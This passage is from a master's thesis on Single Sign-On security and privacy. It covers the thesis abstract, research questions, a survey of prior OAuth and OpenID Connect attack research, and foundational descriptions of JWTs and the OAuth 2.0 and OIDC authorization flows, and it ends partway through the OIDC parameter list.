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Abstract

Single Sign-On allows users to sign in once on a trusted Identity Provider and have their
identities verified by each Service Provider they access afterward. Two protocols have
gained widespread adoption in the wild: OAuth 2.0 is a delegated authorization protocol
that was introduced in 2012 and extended two years later by the delegated authentication
protocol OpenID Connect 1.0. This master’s thesis addresses three problems in Single
Sign-On: (1) Real-world implementations on Identity Providers and Service Providers
have proven to not strictly follow the standard specifications, which can result in neg-
ative e�ects on the implementation security and user privacy. Previous work has only
focused on implementation flaws but failed to give in-depth insights into the underly-
ing protocols. (2) Web technologies were refined over time to provide new capabilities
for improved user experiences. The postMessage API is nowadays commonly used in
cross-origin communication setups, including Single Sign-On implementations. The se-
curity implications of utilizing this API in Single Sign-On setups were not thoroughly
analyzed yet. (3) Some Identity Providers provide “zero-click” authentication flows.
Since sensitive identity information is transferred between independent parties, these
flows can enable new privacy attacks. To complement these problems, this thesis first
presents in-depth protocol descriptions of Single Sign-On solutions provided by Apple,
Google, and Facebook. The real-world impact of postMessage security in Single Sign-On
is evaluated based on widely-used Identity Providers and Service Providers. As a result,
several postMessage attacks in Single Sign-On implementations are revealed to moti-
vate security recommendations for future developments. Finally, this thesis describes
two privacy attacks in Single Sign-On that are based on Cross-Site Leaks and demon-
strates various privacy concerns of non-interactive sign-in flows on real-world Identity
Providers.

Keywords — Social Login, Single Sign-On, OAuth, OpenID Connect, Google Sign-In,
Facebook Login, Sign in with Apple, Authorization, Authentication, postMessage, Cross-Origin
Communication, Privacy, Single Page Applications, XS-Leaks, Token Leaks, Account Takeover
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1 Introduction

With the Web 2.0, developers began to transfer static website content, which mainly
served for informational purposes, into user-centric approaches. Along with this trans-
formation, authentication methods were needed to prove the End-User’s identity to
Service Providers (SPs). Traditionally, username and password-based login processes
were used, which served as an easy-to-implement, straightforward solution and are still
widely deployed in today’s web applications (web apps).

With the introduction of Software as a Service (SaaS) and cloud computing, new types of
native-like web apps were introduced and traditional native applications (native apps)
are steadily migrated to the cloud. Examples of consumer software running in the
web browser and on backend servers include o�ce suites, communication services and
collaboration tools. As a consequence, End-Users have to remember a growing number
of individual but strong authentication credentials for each online service they are using,
which is also known as the Password Dilemma. Hence, the username and password-based
authentication approach comes to its limit with respect to usability and User Experience
(UX). Besides other proposed solutions, such as credential management software and
WebAuthn, Single Sign-On (SSO) is attracting widespread interest due to its flexibility
and interoperability.

In particular, the two protocols OAuth 2.0 (OAuth) and OpenID Connect 1.0 (OIDC) be-
came the de-facto standard for delegated authorization and authentication in consumer-
level applications. Although the two protocols are strongly related to each other, the
areas of application are strictly separated. OAuth delegates the authorization of an
SP accessing the End-Users protected resources to an additional instance that acts as
a Trusted Third Party (TTP), also called the Identity Provider (IdP). OIDC adds an
identity layer on top of the OAuth protocol that additionally authenticates the End-User
on the SP. While OIDC complies with the high-level idea of an SSO protocol, OAuth
must be considered as an authorization protocol.

In SSO, End-Users need to maintain a single credential to sign in on the trusted IdP.
The responsibility of authenticating the End-User on related SPs is delegated to the
IdP, eliminating the need of additional credentials. Therefore, the established session
on the IdP is subsequently used such that the End-User must sign in only once, which
results in enhanced convenience and UX. Accordingly, the fundamental characteristic of
OAuth and OIDC is manifested in the benefit that End-Users do not have to share their
login credentials with a possibly malicious or only insu�ciently protected SP. Instead,
the IdP issues revocable tokens to be consumed and verified by the SP in order to get
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authorized access to protected resources or reveal the End-User’s identity and profile
information.

Researchers have always seen OAuth and OIDC as security-critical protocols. Due to its
single point of failure, successful attacks pose a risk to the authenticity of all End-User’s
accounts on the a�ected SPs and IdPs. On top, the potential security threats in OAuth
and OIDC are not widely understood by developers due to the protocol’s complexity.
Thus, SSO is an attractive target for attackers and future research.

This master’s thesis ties up on real-world SSO implementations by focusing on the
following Research Questions (RQs) that are motivated in Section 1.1.

1.1 Motivation

RQ I: Single Sign-On & Standard Compliance

How do real-world Single Sign-On implementations di�er from the standard
OAuth 2.0 and OpenID Connect 1.0 specifications?

While on the one hand, SSO protocols can o�er security and privacy advantages, on
the other hand, erroneous implementations result in an increased attack surface and
insu�cient data privacy protection. Until now various research about the formal spec-
ifications has been undertaken which lead to the discovery of new attack scenarios and
multi-layered implementation flaws. As a result, several new revisions, extensions, and
security recommendations were introduced to enhance the security of real-world SSO
implementations. That is why developers must carefully follow the standard references
and adhere to security best practices.

Moreover, the protocol incorporates two parties implementing parts of the sign in flow:
the Identity Provider and Service Provider. In practice, the IdP typically provides
social login capabilities in the form of Software Development Kits (SDKs), which are
then implemented by application developers. While the IdP may not strictly follow the
OAuth and OIDC specifications, the SP may not comply with the IdP’s implementation
guides. On top, developers are left with space for customizations, as for instance the
End-User’s authentication & consent on the IdP as well as session establishment on the
SP. RQ II ties up on these custom implementations and evaluates the security with
respect to the postMessage Application Programming Interface (API).

RQ II: Single Sign-On & postMessage API

How do real-world Single Sign-On implementations use the postMessage API
for cross-origin token exchange and are they securely implemented?
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Due to an increased use of sign-in flows in popups, the postMessage API is set to become
a vital factor in SSO. Although standardized flows make use of redirects, popups provide
the advantage to not interrupt the user’s interaction on the main website. The SSO flow
is executed within a popup window and finally uses the postMessage API to return
control back to the primary window.

In principle, the postMessage API provides a controlled circumvention of the Same Origin
Policy (SOP) — the most essential security cornerstone in web browsers. Due to the
fact that developers are responsible to securely implement the API while the security
implications are still not widely understood, many web applications showed significant
deficits in the past [34, 32, 15, 45, 2]. Common attacks are ranging from information
leakage to DOM-based Cross-Site Scripting (XSS).

Single page applications (SPAs) are gaining increased attention in modern web devel-
opment. Due to their modular design patterns, the postMessage API is generating
considerable interest in terms of cross-window communication. Accordingly, it is a crit-
ical part of SSO processes within SPAs. Previous work has failed to address the specific
characteristics of SSO in SPAs that are regulated in the standard specification. There-
fore, this thesis takes a new look at SSO in SPAs and evaluates the present state in the
wild.

RQ III: Single Sign-On & Privacy

How do real-world Single Sign-On implementations and standard-compliant
protocol specifications harm user privacy?

IdPs implement several features in their SSO SDKs to improve User Experience. Once
the End-User is logged in on the IdP and agreed to the consent at least once, these
features facilitate automatic sign-in of End-Users without explicitly asking the End-
User for consent in each flow. SPs could abuse these features by secretly identifying
the user in the background. With this in mind, it is left to investigate whether these
practices are actually observable in the wild.

In similar case, the standard defines several properties allowing seamless SSO flows, such
as the prompt=none and login_hint parameters. In the literature, there seems to be no
investigations on these parameters with respect to privacy factors. Thus, future research
on privacy-related e�ects of these parameters is motivated.

Finally, CSRF attacks in SSO not only pose a risk to the End-User’s account security,
but also harm user privacy. To name one example, the victim’s interests on an online
shopping site may be exposed to the attacker if an undetected CSRF-login into the
attacker’s account was successfully executed. Since IdPs commonly provide their SSO
solutions as easy-to-implement SDKs to developers, this thesis reviews the developer
documentations on CSRF-protective measures and whether these are implemented in
the wild.



4 1 Introduction

1.2 Related Work

Theory and Practice of Single Sign-On

In 2016, Fett, Küsters, and Schmitz [23] presented a comprehensive formal security
analysis of the OAuth 2.0 specification in a web model. Similarly, they carried out the
first in-depth security analysis of OpenID Connect 1.0 in a web model back in 2017 [24].

In 2016, Mainka, Mladenov, and Schwenk [54] introduced two novel attacks, ID Spoofing
and Key Confusion, which make use of a malicious IdP to compromise the security of all
accounts on an a�ected SP. In parallel, the authors also revealed significant deficits in the
OIDC Discovery and Dynamic Registration extensions, which initiated the development
of new revisions [57]. As a result, the idea of second-order vulnerabilities in SSO was
introduced and formally specified as the Malicious Endpoints attack. Along with a
systematic security analysis of known attacks on SSO protocols and an adaptation to
OpenID Connect 1.0, Mainka et al. [56] introduced two novel second-order attacks on
OIDC in 2017 (which they also call cross-phase attacks): Identity Provider Confusion &
Malicious Endpoints Attack. Both attacks were evaluated in the wild and implemented
in the automated testing tool PrOfESSOS.

Wang, Chen, and Wang [84] carried out the first systematic field study on commercially
deployed SSO systems back in 2012 and discovered a total of eight flaws related to token
verification. In parallel, Sun and Beznosov [81] analyzed the implementations of the three
major OAuth IdPs Facebook, Microsoft, and Google as well as several SPs supporting
Facebook SSO. The authors uncovered various issues caused by design decisions made
for implementation simplicity and thus reached the conclusion that JavaScript SDKs are
crucial for future SSO systems and require rigorous security analyses. Therefore, Wang
et al. [85] (2013) specified implicit assumptions required for secure use of SSO SDKs and
formally showed that these are violated in practice.

Li and Mitchell [48] studied the OAuth implementation security of Chinese IdPs and SPs
in 2014. They discovered several logical flaws and concluded that half are susceptible
against CSRF attacks within the account linking process. In parallel, Hu et al. [36]
concentrated on social networking platforms and their common API design principles to
develop the App impersonation attack — an intrinsic vulnerability of OAuth 2.0 caused
by the support of multiple authorization flows and token types.

Li and Mitchell [47] performed a large-scale practical study in 2016 on SPs supporting
Google SSO. Several vulnerabilities caused by a combination of Google’s custom OIDC
design as well as design decisions made by developers were discovered. In parallel, Wang
et al. [83] conducted a study on how developers customize OAuth on di�erent web and
mobile platforms. They reconstructed the authentication mechanisms employed and
found out that applications lack su�cient verification mechanisms, resulting in multiple
End-User and Client impersonation attacks.
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Bai et al. [12] initially proposed AUTHSCAN in 2013 — an automated analysis tool
that recovers web authentication protocol specifications from their implementations. As
a result, the authors discovered a total of seven implementation flaws in SSO systems
and custom web authentication logic. In 2014, Zhou and Evans [89] developed SSOScan
— an automatic vulnerability scanner specifically designed for applications integrating
with Facebook SSO. Several sites were scanned on five known issues from which over
20% su�ered from at least one. Likewise, Yang et al. [88] presented OAuthTester in
2016 — an adaptive model-based security assessment framework designed for OAuth
systems in practice. Besides its ability to identify existing implementation flaws, new
vulnerabilities can be discovered in an automated manner. In 2019, Li, Mitchell, and
Chen [50] introduced OAuthGuard — an OAuth 2.0 and OpenID Connect 1.0 scanner
specifically designed for Google SSO services. Unlike previous scanners, which were
designed for vulnerability detection only, OAuthGuard additionally protects the user
security and privacy on insu�ciently secured SPs.

Finally, Bhavuk Jain [16] found a harmful bug in the Sign in with Apple implementation,
which recently gained attention in media. The vulnerability was located within the
authentication & consent process that is not formally defined but still essential. In short,
the bug allowed an attacker to issue tokens for arbitrary email addresses, resulting in a
zero-click account takeover on various SPs.

As shown, previous work has extensively focused on the security of SSO systems both in
theory and in practice. Several papers demonstrated how web services fail to correctly
implement SSO. Also, formal security analyses on the specifications were conducted,
which revealed significant lacks in implementation security and introduced entirely new
attack classes. Unfortunately, there is still no comprehensive overview on current real-
world SSO protocols and their specific implementation characteristics. Thus, this the-
sis complements prior work by specifying the underlying protocols and authentication
mechanisms in place. The results of this study will reveal “how things are actually
implemented in the wild” and thus establish a basis for future security analyses.

Security of postMessage API

Back in 2009, Barth, Jackson, and Mitchell [15] conducted a study on cross-frame com-
munication in web browsers and developed attacks breaking the confidentiality of mes-
sages sent via the postMessage API. As a result, the authors proposed a simple de-
fense that explicitly ensures confidentiality by extending the postMessage API with an
additional origin parameter, which was adopted by browsers. In contrast, Son and
Shmatikov [79] (2013) performed a comprehensive analysis on the authentication of
messages sent via postMessage. Therefore, the authors analyzed several postMessage
receivers that either performed checks incorrectly or not at all, causing a broad range of
vulnerabilities such as XSS and localStorage injections.
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In 2010, Hanna et al. [34] studied the real-world usage of postMessage in Facebook
Connect and Google Friend Connect. Although these systems are nowadays outdated or
heavily modified, their research still demonstrates the impact of insecure postMessage
usage on message authenticity and confidentiality in SSO.

In 2016, Guan et al. [32] initially introduced an information leakage threat called Dan-
gerNeighbor attack. Commonly in practice, third-party SPs provide postMessage re-
ceiver functions that are imported on the hosting page and thus share the same origin.
This leads to the observation that a malicious service is able to eavesdrop messages
from other services sent to the hosting page. Until today, no defensive mechanisms are
deployed in the wild. Guan, Li, and Sun [30] (2017) examined the implications of the
DangerNeighbor attack under the context of SSO. Since any receiver on the hosting page
can eavesdrop SSO-related tokens, account hijacking is most likely to happen. Finally,
Guan et al. [31] (2018) performed a systematic case study on the DangerNeighbor attack
in the wild and found that several websites using Facebook SSO and Google SSO may
leak End-User’s private information.

More recent findings regarding the security of postMessage in SSO have led to a rapid
rise in popularity for further research. For instance, Amol Baikar [2] combined in-
su�cient parameter validation with improper postMessage usage in Facebook’s SSO
implementation, resulting in token leaks. Similarly, Kumar [45] took advantage of insuf-
ficient postMessage checks in the Facebook Login SDK to accomplish DOM-based XSS
on www.facebook.com.

Previous work on postMessage in SSO introduced the DangerNeighbor attack under
strong adversarial assumptions. In particular, the adversary must be able to include
JavaScript (JS) code on the hosting site. In this thesis, the security of postMessage in
SSO is evaluated under weak adversarial assumptions (web attacker model), in which
the adversary is not able to include JS code on the hosting site.

Privacy in Single Sign-On

In 2015, Shernan et al. [78] evaluated the CSRF protection in several OAuth imple-
mentations. The authors also addressed several weaknesses in sample code provided in
developer documentation, resulting in inconsistent implementation of protections among
SPs. Li, Mitchell, and Chen [49] (2018) applied existing CSRF defenses to OAuth and
OIDC for an additional layer of protection.

Since previous work has only focused on CSRF attacks within standardized redirect
flows, this thesis aims to further address the CSRF protections in modern SSO SDKs
and their e�ect on user privacy.

In 2015, Fett, Küesters, and Schmitz [22] explored the privacy limitations of traditional
SSO schemes and proposed an entirely new privacy-preserving SSO system SPRESSO.
As a result, the IdP does not learn the SP on which the End-User logs in. In the recent

www.facebook.com
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work of Hammann, Sasse, and Basin [33] (2020), the authors proposed two extensions
to the existing OpenID Connect 1.0 standard. They primarily prevent the IdP from
learning the SP on which the End-User logs in. Further, they impede SPs from tracking
users through colluding their static subject identifiers. Both proposals formally prove
their claimed security and privacy enrichments.

Although these approaches are interesting, they fail to take the SP into account. Until
now, researchers have failed to provide an overview of privacy considerations on the SP’s
side. Despite the consent page, which protects the End-User’s identity, there is still some
information about the End-User which may be leaked to a non-authorized SP.

In the light of recent events in web-related privacy, there is now much considerable con-
cern about Cross-Site Leaks (XS-Leaks). In [17] (2007), Bortz and Boneh measured
the time websites take to load and studied the e�ect on the End-User’s privacy. For
instance, the authors were able to successfully identify the End-User’s logged-in status
and number of objects in the shopping card on other websites. Lee, Kim, and Kim [46]
(2015) used the cross-origin resource caching in AppCache to identify whether the web-
site returned a success (200), redirection (300), or error (400/500) response status. In
[26] (2016), Goethem et al. proposed several techniques on how to reveal the size of
resources by exploiting design flaws in the storage mechanisms of browsers. Staicu and
Pradel [80] (2019) described a novel de-anonymization attack called leaky images. Ba-
sically, a malicious website embeds a privately shared image, which will load only for
the targeted user who is logged into the image sharing service and was granted access
to that image.

Since redirects are an important mechanism in SSO, they also leak specific information
about the End-User, which motivates further research. Therefore, this thesis introduces
a new perspective on XS-Leaks in SSO and presents a new privacy-related attack with
an impact similar to the leaky images attack.

1.3 Contribution

The contributions of this master’s thesis are as follows:

1. We present an up-to-date protocol analysis of Single Sign-On Identity Provider
implementations in the wild, including Sign in with Apple, Google OAuth 2.0 and
OpenID Connect 1.0, Google Sign-In, Google One Tap Sign-In and Sign-Up, Face-
book Login, and Facebook Login SDK.

2. We evaluate the security of postMessage usage in Single Sign-On SDKs and custom
Single Sign-On Service Provider implementations.

3. We develop privacy attacks on standard-compliant Single Sign-On implementations
and inspect real-world Single Sign-On implementations on methods that harm user
privacy.
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1.4 Organization of this Thesis

This thesis is divided into five chapters. Chapter 2 gives a brief overview on the funda-
mentals of Single Sign-On and the related protocols OAuth 2.0 and OpenID Connect 1.0.
Basic principles and characteristics of cross-window communication and single page ap-
plications are discussed as well. Apple’s, Google’s, and Facebook’s diverse Single Sign-On
protocols are subsequently analyzed in Chapter 3. Chapter 4 outlines the investigation
of real-world Single Sign-On implementations with a special focus on the postMessage
API and cross-window communication. Chapter 5 reveals various privacy considerations
regarding concrete Single Sign-On SDKs and general properties defined in the standard.
Conclusions and suggestions for future work are worked out in Chapter 6.



2 Foundations

This chapter outlines the foundations of this thesis. Section 2.1 introduces the JavaScript
Object Notation data interchange format, along with JSON Web Token and JSON Web
Signature. Section 2.2 addresses basic Single Sign-On concepts, the protocols OAuth
2.0 and OpenID Connect 1.0, and several advanced concepts essential for our real-world
protocol analyses in Chapter 3. Section 2.3 focuses on the Document Object Model and
presents various concepts related to web browser windows. Section 2.4 defines the Same
Origin Policy that motivates the methods used for cross-origin communication, which
are presented in Section 2.5.

2.1 JavaScript Object Notation

JavaScript Object Notation (JSON) is defined in RFC 8259 as “[...] a lightweight,
text-based, language-independent data interchange format” defining “[...] a small set of
formatting rules for the portable representation of structured data” [18].

In JSON, data is serialized into four primitive data types – strings, numbers, booleans,
null – and two structured types – objects and arrays (which are based on their JS
equivalents). Listing 2.1 reveals the structure of an exemplary JSON object.

Listing 2.1: Example of JSON object including strings, numbers, booleans, null, objects,
and arrays.

1 {
2 "myString": "foo",
3 "myNumber": 2020,
4 "myArray": ["foo", 3030, false, null, {"faa": true}, [1, 2, 3]],
5 "myObject": {
6 "myBoolean": true,
7 "myNull": null
8 }
9 }
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2.1.1 JSON Web Token and JSON Web Signature

RFC 7515 defines JSON Web Signature (JWS) as a representation of “[...] content
secured with digital signatures or Message Authentication Codes (MACs) using JSON-
based data structures” [41]. RFC 7519 defines JSON Web Token (JWT) as a “[...]
compact, URL-safe means of representing claims to be transferred between two par-
ties” [42].

The JWT claims are serialized as a JSON object that is digitally signed or integrity
protected using the cryptographic mechanisms defined by the JWS standard [41]. List-
ing 2.2 presents the overall (decoded) structure of a digitally signed JWT, which is the
concatenation of a JWT header, JWT body, and JWT signature:

Listing 2.2: Example of digitally signed JWT (decoded). The JWT header, JWT body,
and JWT signature are separated by period characters.

1 {
2 "typ": "JWT",
3 "alg": "RS256",
4 "kid": "123XYZ"
5 }
6 .
7 {
8 "sub": "1234567890",
9 "name": "Alice",

10 "iat": 1577836800
11 }
12 .
13 [signature bytes]

JWT header contains the cryptographic algorithm (alg) and identifier of the key (kid)
used to digitally sign or integrity protect the JWT body. In this example, the RS256
algorithm is applied, which is defined in RFC 7518 [40] as RSASSA-PKCS1-v1_5 using
SHA-256 (asymmetric).

JWT body contains the claims as key-value pairs. This JSON object is used as the
payload of the JWS cryptographic operations.

JWT signature contains the “raw” bytes of the signature.

Finally, the JWT header, JWT body, and JWT signature are individually base64url-
encoded and concatenated – separated by period characters – such that a compact,
URL-safe representation is obtained:

eyJhbG[...] . eyJzdW[...] . SflKxw[...]
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2.2 Single Sign-On

Traditional username and password-based authentication scenarios usually involve two
parties: the Service Provider provides services to the End-User as soon as the End-User
is authenticated on the Service Provider. Therefore, the End-User sends its credentials
to the Service Provider. Once the Service Provider verifies the credentials (i.e. by
comparing them with its database), it finally provides the services to the End-User.

In Single Sign-On scenarios, the authentication of the End-User on the Service Provider
is delegated to an additional instance that acts as a Trusted Third Party: the so-called
Identity Provider. Therefore, the End-User sends its credentials to the Identity Provider.
Once the Identity Provider verifies the credentials, it issues tokens to be consumed by
the Service Provider. The Service Provider finally verifies the tokens it received from
the Identity Provider and provides the services to the End-User.

In practice, two well-known protocols are used in consumer-level applications:

OAuth 2.0 (OAuth) provides delegated authorization, that is, the End-User authorizes
the Service Provider to access its protected resources on the Resource Server.
Therefore, the Service Provider does not have to know the identity of the End-
User using its service. One such example is a third party calendar application that
is authorized to access the End-User’s Google Calendar.

OpenID Connect 1.0 (OIDC) provides delegated authorization and authentication, that
is, the End-User authorizes the Service Provider similar to OAuth 2.0 and addi-
tionally reveals its identity to the Service Provider. Therefore, OpenID Connect
1.0 adds a “[...] simple identity layer on top of the OAuth 2.0 protocol” [67]. One
such example is a third party messaging application that uses the Google Identity
Provider to sign in the End-User with its Google account.

Section 2.2.1 first introduces the basics of OAuth 2.0 and OpenID Connect 1.0, before
both protocols are detailed in Sections 2.2.2 and 2.2.3. Section 2.2.4 finally presents
advanced concepts in OAuth 2.0 and OpenID Connect 1.0.

2.2.1 Basics Concepts in OAuth 2.0 and OpenID Connect 1.0

Figure 2.1 depicts a basic Single Sign-On setup involving the following parties:

• The End-User is an individual that interacts within its User Agent to either
(1) authorize the Service Provider to access its protected resources on the Resource
Server or (2) authenticate on the Service Provider for login purposes. Therefore,
the End-User has an account with valid credentials on the Identity Provider.

• The User Agent (UA) is the End-User’s web browser.
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Figure 2.1: Basic Single Sign-On setup involving an End-User, User Agent, Service
Provider, Identity Provider, and Resource Server – communication is per-
formed through the front-channel or back-channel.

• The Service Provider (SP) provides services to the End-User. Therefore, it
consumes tokens provided by the Identity Provider to either (1) get authorized
access to the End-User’s protected resources on the Resource Server or (2) au-
thenticate the End-User within its User Agent. The Service Provider and Identity
Provider communicate with each other in two di�erent ways: (1) using a direct
server-to-server communication (back-channel) or (2) using an indirect communi-
cation via the End-User’s User Agent (front-channel). In OAuth 2.0, this instance
is referred to as the Client Application (Client). In OpenID Connect 1.0, this
instance is referred to as the Relying Party (RP).

• The Identity Provider (IdP) authenticates the End-User and provides proper
tokens to the Service Provider, which either (1) provide authorized access to the
End-User’s protected resources on the Resource Server or (2) provide digitally
signed claims about the End-User’s identity. In OAuth 2.0, this instance is referred
to as the Authorization Server (AS). In OpenID Connect 1.0, this instance is
referred to as the OpenID Provider (OP).

• The Resource Server (RS) provides access to the End-User’s protected resources
if valid authorization (i.e., in the form of an access_token) is given.

The Identity Provider may issue the following tokens to the Service Provider:

code is an opaque, short lived, and single-use token that is redeemed by the Service
Provider on the Identity Provider through the back-channel to receive tokens for
End-User authorization and authentication (i.e., the tokens described below).

access_token is an opaque token that is valid for a limited period of time. RFC 6750
points out that “any party in possession of a bearer token (a "bearer") can use it
to get access to the associated resources [...]” [43] on the Resource Server.
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refresh_token is an opaque token that is valid for an extended period of time. It is
used by the Service Provider to obtain a new access_token as soon as the old
access_token expires. This token is exclusively returned in the back-channel.

id_token is a digitally signed or integrity protected JSON Web Token that contains
claims about the End-User’s identity. It is validated by the Service Provider to
retrieve the End-User’s identity for authentication purposes. This token is exclu-
sively returned in OpenID Connect 1.0.

The OAuth 2.0 and OpenID Connect 1.0 standard specifications [35, 68] define di�er-
ent flows, which regulate (1) the tokens that are returned from the Identity Provider
and (2) the channel in which the tokens are returned (i.e. front-channel and/or back-
-channel). Table 2.1 presents an overview of the standardized OAuth 2.0 authorization
and OpenID Connect 1.0 authentication flows, based on their response_type. Note that
the response_type defines the tokens returned from the Identity Provider to the Service
Provider through the front-channel. The OAuth 2.0 Code and Implicit Flows are de-
picted in Figure 2.2, Section 2.2.2. The OpenID Connect 1.0 Code, Implicit, and Hybrid
Flows are exposed in Figure 2.3, Section 2.2.3.

Table 2.1: Standardized authorization and authenti-
cation flows in OAuth 2.0 and OpenID Con-
nect 1.0 categorized by their response_type
parameter.

OAuth 2.0 OpenID Connect 1.0

Code Flow •code •code

Implicit Flow •token* •id_token
•token id_token*

Hybrid Flow –
•code token*

•code id_token
•code token id_token*

* Deprecated due to access_token in front-channel.

2.2.2 The OAuth 2.0 Protocol

The OAuth 2.0 Authorization Framework was introduced in 2012 and is specified in
RFC 6749 [35]. The framework defines the Authorization Code Grant in [35, Section
4.1], Implicit Grant in [35, Section 4.2], Resource Owner Password Credentials Grant
in [35, Section 4.3], and Client Credentials Grant in [35, Section 4.4].
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2.2.2.1 The OAuth 2.0 Authorization Code and Implicit Grant

Based on Figure 2.2, the OAuth Code Flow and Implicit Flow are described step-by-step.
All steps and parameters marked in green are exclusively applied in the Code Flow, steps
and parameters marked in blue are exclusively applied in the Implicit Flow.
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Figure 2.2: The OAuth 2.0 Code Flow and Implicit Flow. The Code Flow is marked in
black and green. The Implicit Flow is marked in black and blue.

Step 1 – Start: The End-User starts the authorization flow by navigating its User Agent
(UA) to the appropriate endpoint on the Client Application (Client).

Step 2 – authzReq: The Client returns the Authorization Request (authzReq) via a
redirect through the UA (front-channel) to the Authorization Endpoint (authzEndp)
on the Authorization Server (AS). The following authzReq parameters are included:

client_id uniquely identifies the Client on the AS. This value is issued by the AS
during Client registration. [35, Section 2.2]
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response_type defines the flow and the tokens that are returned in the Authoriza-
tion Response (authzResp):
response_type = code requests the OAuth Code Flow.
response_type = token requests the OAuth Implicit Flow.

redirect_uri specifies an absolute Uniform Resource Identifier (URI) on the Client
– the Redirection Endpoint (redirectionEndp) – to which the AS redirects the
authzResp. This URI must be pre-registered by the Client on the AS during
Client registration [35, Section 3.1.2.2]. Also, this URI must be validated
properly on the AS to match the exact pre-registered value. Otherwise, a
malicious party is able to receive the authzResp.

scope specifies the set of protected resources that an access_token is permitted to
access. Individual protected resources may have individual scope values, such
as profile, email, and calendar. Incremental authorization enables a Client
to initially request access to a limited set of scopes and if required, request
access to additional scopes later.

state specifies an opaque, non-guessable value bound to the UA’s authenticated
state (i.e., a hash of the session cookie) to maintain state between the authzReq
and authzResp. This parameter is replayed by the AS in the authzResp to
prevent Cross-Site Request Forgery (CSRF) attacks on the redirectionEndp.

Step 3 – Auth&Consent: The AS returns the End-User Authentication & Consent page
to the UA. The End-User submits its credentials to authenticate on the AS and
grants access to the resources that the Client requested within the scope parameter
of the authzReq.

Step 4 – authzResp: The AS returns the authzResp via a redirect through the UA
(front-channel) to the redirectionEndp that was specified with the redirect_uri
parameter in the authzReq. In the OAuth Code Flow, the parameters are appended
as query string and thus sent to the Client. In the OAuth Implicit Flow, the
parameters are appended as hash fragment and thus not sent to the Client. Instead,
they remain within the UA, because fragments are omitted during redirects. The
following authzResp parameters are included:

code, access_token1 as described in Section 2.2.1.
state is mirrored by the AS and matches the state parameter of the authzReq.

Thus, the authzResp is bound to the authzReq and session such that an at-
tacker is not able to cross-site request its own authzResp within the victim’s
UA. This protects the victim from being logged into the attacker’s account.

token_type specifies the type of access_token1. In this thesis, we will only use the
bearer token type (cf. Section 2.2.1).

expires_in specifies the lifetime of access_token1 in seconds.
scope specifies the actual scope that was granted to access_token1.

Step 5 – tokenReq: The Client sends the Token Request (tokenReq) to the Token End-
point (tokenEndp) on the AS (back-channel). The following tokenReq parameters
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are included:

grant_type=authorization_code specifies that the Client redeems the code received
on the redirectionEndp in exchange for an access_token2 and refresh_token.
Alternatively, the Client may use grant_type=refresh_token with client_id,
client_secret, refresh_token, and scope parameters to request a “fresh”
access_token.

code as in authzResp.
client_id, redirect_uri as in authzReq.
client_secret authenticates the Client on the AS. This value is issued by the AS

during Client registration. The Client authentication enforces the binding of
codes and refresh_tokens to the Client they were issued to. [35, Section 2.3]

Step 6 – tokenResp: The AS returns the Token Response (tokenResp) to the Client.
The following tokenResp parameters are included:

access_token2, token_type, expires_in, scope as in authzResp.
refresh_token as described in Section 2.2.1.

Step 7 – resourceReq: The Client uses access_token2 to request the protected resource
on the Resource Endpoint (resourceEndp) of the Resource Server (RS). All subse-
quent steps are implementation-specific.

Step 8.1 – resourceResp: In the OAuth Code Flow, the Client returns the protected
resource to the UA.

Step 8.2 – Script: In the OAuth Implicit Flow, the Client returns a combination of
Hypertext Markup Language (HTML), Cascading Style Sheets (CSS), and JS to
the UA.

Step 9 – Extraction: In the OAuth Implicit Flow, the JS script returned in step 8.2 ex-
tracts access_token1 from the fragment component of the URI. The Client should
not include any third-party scripts in the HTML, CSS, and JS returned in step
8.2. Otherwise, the third-parties are able to retrieve access_token1.

Step 10 – resourceReq: The UA can request direct access to the protected resource on
the resourceEndp using access_token1.

2.2.2.2 The OAuth 2.0 Resource Owner Password Credentials Grant

In the OAuth Resource Owner Password Credentials Flow, the End-User provides its cre-
dentials to the Client. The Client obtains an access_token and an optional refresh_token
from the AS by including the End-User’s credentials and its own Client credentials in the
tokenReq. The grant_type in the tokenReq is set to password and includes the client_id,
client_secret, username, password, and scope parameters.
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“This grant type carries a higher risk than other grant types because it maintains the
password anti-pattern this protocol seeks to avoid” [35, Section 10.7]. “The Resource
Owner Password Credentials Grant MUST NOT be used. This grant type insecurely
exposes the credentials of the resource owner to the client” [52, Section 2.4].

2.2.2.3 The OAuth 2.0 Client Credentials Grant

In the OAuth Client Credentials Flow, the Client obtains an access_token from the AS
by including only its Client credentials in the tokenReq. The access_token is scoped
to resources under the control of the Client. The grant_type in the tokenReq is set to
client_credentials and includes the client_id, client_secret, and scope parameters.

2.2.3 The OpenID Connect 1.0 Protocol

OpenID Connect 1.0 was introduced in 2014 by the OpenID Foundation and is specified
in [67]. The framework defines the Authorization Code Flow in [67, Section 3.1], Implicit
Flow in [67, Section 3.2], and Hybrid Flow in [67, Section 3.3].

2.2.3.1 The OpenID Connect 1.0 Authorization Code, Implicit, and Hybrid Flow

Based on Figure 2.3, the OIDC Code Flow, Implicit Flow, and Hybrid Flow are described
step-by-step. All steps and parameters marked in green are exclusively applied in the
Code Flow, steps and parameters marked in blue are exclusively applied in the Implicit
Flow. The Hybrid Flow is a combination of the Code Flow and Implicit Flow and thus
includes all steps and parameters.

Step 1 – Start: The End-User starts the authentication flow by navigating its UA to
the Login Initiation Endpoint (loginEndp) on the Relying Party (RP).

Step 2 – authnReq: The RP returns the Authentication Request (authnReq) via a redi-
rect through the UA (front-channel) to the Authentication Endpoint (authnEndp)
on the OpenID Provider (OP). The following authnReq parameters are included:

client_id, redirect_uri, scope, state as in OAuth. In OIDC, scope must contain
the value openid. If a refresh_token is requested, scope contains the value
offline_access.

response_type as in OAuth. In OIDC, the id_token is added. Table 2.1 shows an
overview of all response_types available in OIDC.

The specification defines several additional parameters unique to OIDC:
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[ expi r es_i n] ,  [ scope] ,  [ st at e] }

 (5) tokenReq
 code,  c l i ent _i d,  c l i ent _secr et ,
 r edi r ect _ur i ,  gr ant _t ype=aut hor i zat i on_code

(6) tokenResp
i d_t oken2,  access_t oken2,  t oken_t ype,
[ expi r es_i n] ,  [ scope] ,  [ r ef r esh_t oken]

  (9) HTML/CSS/JS + Session Cookie

(7) GET protected.txt with access_t oken2

(12) GET protected.txt with access_t oken1

Resource
Endp

Token
Endp

   (11) Authenticate with i d_t oken1

Figure 2.3: The OpenID Connect 1.0 Code Flow, Implicit Flow, and Hybrid Flow. The
Code Flow is marked in black and green. The Implicit Flow is marked in
black and blue. The Hybrid Flow is marked in black, green, and blue.
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nonce is an opaque, non-guessable value bound to the UA’s authenticated state
(i.e., a hash of the session cookie) to associate the session with an id_token.
This parameter is included by the OP in the id_token to prevent replay and
CSRF attacks.

